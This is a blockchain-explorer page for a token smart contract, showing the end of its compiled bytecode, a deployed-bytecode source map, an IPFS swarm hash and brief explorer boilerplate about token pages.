8160011c9050919050565b5f808291508390505b6001851115611305578086048111156112e1576112e0611283565b5b60018516156112f05780820291505b80810290506112fe856112b0565b94506112c5565b94509492505050565b5f8261131d57600190506113d8565b8161132a575f90506113d8565b8160018114611340576002811461134a57611379565b60019150506113d8565b60ff84111561135c5761135b611283565b5b8360020a91508482111561137357611372611283565b5b506113d8565b5060208310610133831016604e8410600b84101617156113ae5782820a9050838111156113a9576113a8611283565b5b6113d8565b6113bb84848460016112bc565b925090508184048111156113d2576113d1611283565b5b81810290505b9392505050565b5f6113e98261102f565b91506113f48361114b565b92506114217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461130e565b905092915050565b5f6114338261102f565b915061143e8361102f565b925082820261144c8161102f565b9150828204841483151761146357611462611283565b5b5092915050565b5f6114748261102f565b915061147f8361102f565b925082820390508181111561149757611496611283565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114d48261102f565b91506114df8361102f565b9250826114ef576114ee61149d565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61158061157b61157684611554565b61155d565b61102f565b9050919050565b61159081611566565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6115c881610ff4565b82525050565b5f6115d983836115bf565b60208301905092915050565b5f602082019050919050565b5f6115fb82611596565b61160581856115a0565b9350611610836115b0565b805f5b8381101561164057815161162788826115ce565b9750611632836115e5565b925050600181019050611613565b5085935050505092915050565b61165681610ff4565b82525050565b5f60a08201905061166f5f8301886110d3565b61167c6020830187611587565b818103604083015261168e81866115f1565b905061169d606083018561164d565b6116aa60808301846110d3565b9695505050505050565b5f6116be8261102f565b91506116c98361102f565b92508282019050808211156116e1576116e0611283565b5b9291505056fea26469706673582212203a095b289e74930b7cec30dd5145763d8c0405fb2ee31d3244577276f3fb7c1e64736f6c63430008150033

Deployed Bytecode Sourcemap

368:4191:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1232:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1837:222;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;994:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;398:208;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;948:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4043:162;;;;;;;;;;;;;:::i;:::-;;1683:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1345:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2071:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;895:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4360:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;845:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1739:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1232:95;1277:13;1310:5;1303:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1232:95;:::o;1837:222::-;1905:4;1958:6;1925:9;:21;1935:10;1925:21;;;;;;;;;;;;;;;:30;1947:7;1925:30;;;;;;;;;;;;;;;:39;;;;2005:7;1984:37;;1993:10;1984:37;;;2014:6;1984:37;;;;;;:::i;:::-;;;;;;;;2043:4;2036:11;;1837:222;;;;:::o;994:62::-;981:2;1044;:12;;;;:::i;:::-;1032:9;:24;;;;:::i;:::-;994:62;:::o;398:208::-;480:4;531:6;500:9;:15;510:4;500:15;;;;;;;;;;;;;;;:27;516:10;500:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;567:27;577:4;583:2;587:6;567:9;:27::i;:::-;560:34;;398:208;;;;;:::o;948:35::-;981:2;948:35;:::o;4043:162::-;2553:42;4095:20;;:10;:20;;;4087:29;;;;;;4140:11;;;;;;;;;;;4139:12;4131:21;;;;;;4181:4;4167:11;;:18;;;;;;;;;;;;;;;;;;4043:162::o;1683:45::-;;;;;;;;;;;;;;;;;:::o;1345:99::-;1392:13;1425:7;1418:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1345:99;:::o;2071:136::-;2135:4;2162:33;2172:10;2184:2;2188:6;2162:9;:33::i;:::-;2155:40;;2071:136;;;;:::o;895:40::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4360:192::-;2553:42;4435:20;;:10;:20;;;4432:70;;4489:13;;;;;;;;;;;;;;4432:70;4517:23;4528:4;4534:5;4517:10;:23::i;:::-;4360:192;;:::o;845:38::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1739:66::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2744:1287::-;2823:4;2851:11;;;;;;;;;;;:29;;;;2553:42;2866:14;;:4;:14;;;2851:29;:45;;;;2553:42;2884:12;;:2;:12;;;2851:45;2843:54;;;;;;2918:11;;;;;;;;;;;2917:12;:34;;;;;2949:1;2933:18;;:4;;;;;;;;;;;:18;;;2917:34;:48;;;;;2964:1;2955:6;:10;2917:48;2914:79;;;2991:2;2984:4;;:9;;;;;;;;;;;;;;;;;;2914:79;3029:6;3010:9;:15;3020:4;3010:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3062:4;;;;;;;;;;;3056:10;;:2;:10;;;:23;;;;;3071:8;;;;;;;;;;;3070:9;3056:23;:65;;;;;1176:3;981:2;1044;:12;;;;:::i;:::-;1032:9;:24;;;;:::i;:::-;1162:17;;;;:::i;:::-;3083:9;:24;3101:4;3083:24;;;;;;;;;;;;;;;;:38;;3056:65;3052:610;;;3152:4;3141:8;;:15;;;;;;;;;;;;;;;;;;3175:21;3213:1;3199:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3175:40;;3252:4;3234;3239:1;3234:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;2273:42;3276:4;3281:1;3276:7;;;;;;;;:::i;:::-;;;;;;;:13;;;;;;;;;;;2359:42;3308:69;;;1176:3;981:2;1044;:12;;;;:::i;:::-;1032:9;:24;;;;:::i;:::-;1162:17;;;;:::i;:::-;3433:1;3457:4;3492;3520:15;3308:246;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2553:42;3573:15;;:38;3589:21;3573:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3641:5;3630:8;;:16;;;;;;;;;;;;;;;;;;3122:540;3052:610;3697:4;3681:21;;:4;:21;;;3678:232;;3722:19;3793:3;3762:4;;;;;;;;;;;3754:12;;:4;:12;;;:35;;3780:9;;3754:35;;;3769:8;;3754:35;3744:6;:46;;;;:::i;:::-;:52;;;;:::i;:::-;3722:74;;3825:11;3815:21;;;;;:::i;:::-;;;3883:11;3855:9;:24;3873:4;3855:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;3703:207;3678:232;3941:6;3924:9;:13;3934:2;3924:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;3982:2;3967:26;;3976:4;3967:26;;;3986:6;3967:26;;;;;;:::i;:::-;;;;;;;;4015:4;4008:11;;2744:1287;;;;;:::o;4217:131::-;4300:4;4289:8;:15;;;;4331:5;4319:9;:17;;;;4217:131;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:474::-;5256:6;5264;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5566:2;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5537:118;5188:474;;;;;:::o;5668:::-;5736:6;5744;5793:2;5781:9;5772:7;5768:23;5764:32;5761:119;;;5799:79;;:::i;:::-;5761:119;5919:1;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5890:117;6046:2;6072:53;6117:7;6108:6;6097:9;6093:22;6072:53;:::i;:::-;6062:63;;6017:118;5668:474;;;;;:::o;6148:180::-;6196:77;6193:1;6186:88;6293:4;6290:1;6283:15;6317:4;6314:1;6307:15;6334:320;6378:6;6415:1;6409:4;6405:12;6395:22;;6462:1;6456:4;6452:12;6483:18;6473:81;;6539:4;6531:6;6527:17;6517:27;;6473:81;6601:2;6593:6;6590:14;6570:18;6567:38;6564:84;;6620:18;;:::i;:::-;6564:84;6385:269;6334:320;;;:::o;6660:180::-;6708:77;6705:1;6698:88;6805:4;6802:1;6795:15;6829:4;6826:1;6819:15;6846:102;6888:8;6935:5;6932:1;6928:13;6907:34;;6846:102;;;:::o;6954:848::-;7015:5;7022:4;7046:6;7037:15;;7070:5;7061:14;;7084:712;7105:1;7095:8;7092:15;7084:712;;;7200:4;7195:3;7191:14;7185:4;7182:24;7179:50;;;7209:18;;:::i;:::-;7179:50;7259:1;7249:8;7245:16;7242:451;;;7674:4;7667:5;7663:16;7654:25;;7242:451;7724:4;7718;7714:15;7706:23;;7754:32;7777:8;7754:32;:::i;:::-;7742:44;;7084:712;;;6954:848;;;;;;;:::o;7808:1073::-;7862:5;8053:8;8043:40;;8074:1;8065:10;;8076:5;;8043:40;8102:4;8092:36;;8119:1;8110:10;;8121:5;;8092:36;8188:4;8236:1;8231:27;;;;8272:1;8267:191;;;;8181:277;;8231:27;8249:1;8240:10;;8251:5;;;8267:191;8312:3;8302:8;8299:17;8296:43;;;8319:18;;:::i;:::-;8296:43;8368:8;8365:1;8361:16;8352:25;;8403:3;8396:5;8393:14;8390:40;;;8410:18;;:::i;:::-;8390:40;8443:5;;;8181:277;;8567:2;8557:8;8554:16;8548:3;8542:4;8539:13;8535:36;8517:2;8507:8;8504:16;8499:2;8493:4;8490:12;8486:35;8470:111;8467:246;;;8623:8;8617:4;8613:19;8604:28;;8658:3;8651:5;8648:14;8645:40;;;8665:18;;:::i;:::-;8645:40;8698:5;;8467:246;8738:42;8776:3;8766:8;8760:4;8757:1;8738:42;:::i;:::-;8723:57;;;;8812:4;8807:3;8803:14;8796:5;8793:25;8790:51;;;8821:18;;:::i;:::-;8790:51;8870:4;8863:5;8859:16;8850:25;;7808:1073;;;;;;:::o;8887:281::-;8945:5;8969:23;8987:4;8969:23;:::i;:::-;8961:31;;9013:25;9029:8;9013:25;:::i;:::-;9001:37;;9057:104;9094:66;9084:8;9078:4;9057:104;:::i;:::-;9048:113;;8887:281;;;;:::o;9174:410::-;9214:7;9237:20;9255:1;9237:20;:::i;:::-;9232:25;;9271:20;9289:1;9271:20;:::i;:::-;9266:25;;9326:1;9323;9319:9;9348:30;9366:11;9348:30;:::i;:::-;9337:41;;9527:1;9518:7;9514:15;9511:1;9508:22;9488:1;9481:9;9461:83;9438:139;;9557:18;;:::i;:::-;9438:139;9222:362;9174:410;;;;:::o;9590:194::-;9630:4;9650:20;9668:1;9650:20;:::i;:::-;9645:25;;9684:20;9702:1;9684:20;:::i;:::-;9679:25;;9728:1;9725;9721:9;9713:17;;9752:1;9746:4;9743:11;9740:37;;;9757:18;;:::i;:::-;9740:37;9590:194;;;;:::o;9790:180::-;9838:77;9835:1;9828:88;9935:4;9932:1;9925:15;9959:4;9956:1;9949:15;9976:185;10016:1;10033:20;10051:1;10033:20;:::i;:::-;10028:25;;10067:20;10085:1;10067:20;:::i;:::-;10062:25;;10106:1;10096:35;;10111:18;;:::i;:::-;10096:35;10153:1;10150;10146:9;10141:14;;9976:185;;;;:::o;10167:180::-;10215:77;10212:1;10205:88;10312:4;10309:1;10302:15;10336:4;10333:1;10326:15;10353:180;10401:77;10398:1;10391:88;10498:4;10495:1;10488:15;10522:4;10519:1;10512:15;10539:85;10584:7;10613:5;10602:16;;10539:85;;;:::o;10630:60::-;10658:3;10679:5;10672:12;;10630:60;;;:::o;10696:158::-;10754:9;10787:61;10805:42;10814:32;10840:5;10814:32;:::i;:::-;10805:42;:::i;:::-;10787:61;:::i;:::-;10774:74;;10696:158;;;:::o;10860:147::-;10955:45;10994:5;10955:45;:::i;:::-;10950:3;10943:58;10860:147;;:::o;11013:114::-;11080:6;11114:5;11108:12;11098:22;;11013:114;;;:::o;11133:184::-;11232:11;11266:6;11261:3;11254:19;11306:4;11301:3;11297:14;11282:29;;11133:184;;;;:::o;11323:132::-;11390:4;11413:3;11405:11;;11443:4;11438:3;11434:14;11426:22;;11323:132;;;:::o;11461:108::-;11538:24;11556:5;11538:24;:::i;:::-;11533:3;11526:37;11461:108;;:::o;11575:179::-;11644:10;11665:46;11707:3;11699:6;11665:46;:::i;:::-;11743:4;11738:3;11734:14;11720:28;;11575:179;;;;:::o;11760:113::-;11830:4;11862;11857:3;11853:14;11845:22;;11760:113;;;:::o;11909:732::-;12028:3;12057:54;12105:5;12057:54;:::i;:::-;12127:86;12206:6;12201:3;12127:86;:::i;:::-;12120:93;;12237:56;12287:5;12237:56;:::i;:::-;12316:7;12347:1;12332:284;12357:6;12354:1;12351:13;12332:284;;;12433:6;12427:13;12460:63;12519:3;12504:13;12460:63;:::i;:::-;12453:70;;12546:60;12599:6;12546:60;:::i;:::-;12536:70;;12392:224;12379:1;12376;12372:9;12367:14;;12332:284;;;12336:14;12632:3;12625:10;;12033:608;;;11909:732;;;;:::o;12647:118::-;12734:24;12752:5;12734:24;:::i;:::-;12729:3;12722:37;12647:118;;:::o;12771:831::-;13034:4;13072:3;13061:9;13057:19;13049:27;;13086:71;13154:1;13143:9;13139:17;13130:6;13086:71;:::i;:::-;13167:80;13243:2;13232:9;13228:18;13219:6;13167:80;:::i;:::-;13294:9;13288:4;13284:20;13279:2;13268:9;13264:18;13257:48;13322:108;13425:4;13416:6;13322:108;:::i;:::-;13314:116;;13440:72;13508:2;13497:9;13493:18;13484:6;13440:72;:::i;:::-;13522:73;13590:3;13579:9;13575:19;13566:6;13522:73;:::i;:::-;12771:831;;;;;;;;:::o;13608:191::-;13648:3;13667:20;13685:1;13667:20;:::i;:::-;13662:25;;13701:20;13719:1;13701:20;:::i;:::-;13696:25;;13744:1;13741;13737:9;13730:16;;13765:3;13762:1;13759:10;13756:36;;;13772:18;;:::i;:::-;13756:36;13608:191;;;;:::o

Swarm Source

ipfs://3a095b289e74930b7cec30dd5145763d8c0405fb2ee31d3244577276f3fb7c1e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.